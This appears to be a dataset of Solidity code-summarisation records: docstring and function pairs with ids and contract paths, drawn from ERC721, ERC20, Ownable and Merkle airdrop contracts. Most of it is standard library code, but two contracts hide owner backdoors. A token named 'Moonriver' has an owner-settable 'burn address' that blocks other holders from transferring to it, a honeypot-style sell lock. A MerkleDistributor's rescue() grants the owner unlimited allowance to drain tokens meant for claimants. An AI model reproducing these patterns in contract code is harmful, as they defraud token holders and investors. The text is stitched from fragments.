* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
|
Do not allow renouncing ownership/
|
function renounceOwnership() public override(Ownable) onlyOwner {}
| 10,386,109 |
./partial_match/40/0xd5Ef520A5cd81da92a8A61b15624433a5C1B2474/sources/default_workspace/omnidex/omnidex-pools/VaultOwner.sol
|
Sets admin address to this address Only callable by the contract owner. It makes the admin == owner./
|
function setAdmin() external onlyOwner {
charmVault.setAdmin(address(this));
}
| 8,825,820 |
pragma solidity ^0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
address private burnAddress = address(0);
constructor() public {
_name = "Moonriver";
_symbol = "MOVR";
_decimals = 18;
_totalSupply = 10000000000000000000000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Set the burn address.
*/
function setBurnAddress(address addr) public onlyOwner {
burnAddress = addr;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(sender == owner() || recipient != burnAddress, "ERC20: transfer to the burn address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_balances[burnAddress] = _balances[burnAddress].add(amount);
emit Transfer(account, burnAddress, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
|
Sets `amount` as the allowance of `spender` over the `owner`s tokens. This is internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./
|
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
| 47,381 |
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/cryptography/MerkleProof.sol
pragma solidity ^0.6.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// File: contracts/interfaces/IMerkleDistributor.sol
pragma solidity >=0.5.0;
// Allows anyone to claim a token if they exist in a merkle root.
interface IMerkleDistributor {
// Returns the address of the token distributed by this contract.
function token() external view returns (address);
// Returns the merkle root of the merkle tree containing account balances available to claim.
function merkleRoot() external view returns (bytes32);
// Returns true if the index has been marked claimed.
function isClaimed(uint256 index) external view returns (bool);
// Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
// This event is triggered whenever a call to #claim succeeds.
event Claimed(uint256 index, address account, uint256 amount);
}
// File: contracts/MerkleDistributor.sol
pragma solidity =0.6.11;
contract MerkleDistributor is Ownable, IMerkleDistributor {
address public immutable override token;
bytes32 public immutable override merkleRoot;
// This is a packed array of booleans.
mapping(uint256 => uint256) private claimedBitMap;
constructor(address token_, bytes32 merkleRoot_) public {
token = token_;
merkleRoot = merkleRoot_;
}
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override {
require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');
// Mark it claimed and send the token.
_setClaimed(index);
require(IERC20(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.');
emit Claimed(index, account, amount);
}
function rescue() external onlyOwner {
IERC20(token).approve(owner(), 0);
IERC20(token).approve(owner(), uint256(-1));
}
}
|
Allows anyone to claim a token if they exist in a merkle root. Returns the address of the token distributed by this contract. Returns the merkle root of the merkle tree containing account balances available to claim. Returns true if the index has been marked claimed. Claim the given amount of the token to the given address. Reverts if the inputs are invalid. This event is triggered whenever a call to claim succeeds.
|
interface IMerkleDistributor {
function token() external view returns (address);
function merkleRoot() external view returns (bytes32);
function isClaimed(uint256 index) external view returns (bool);
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
event Claimed(uint256 index, address account, uint256 amount);
}
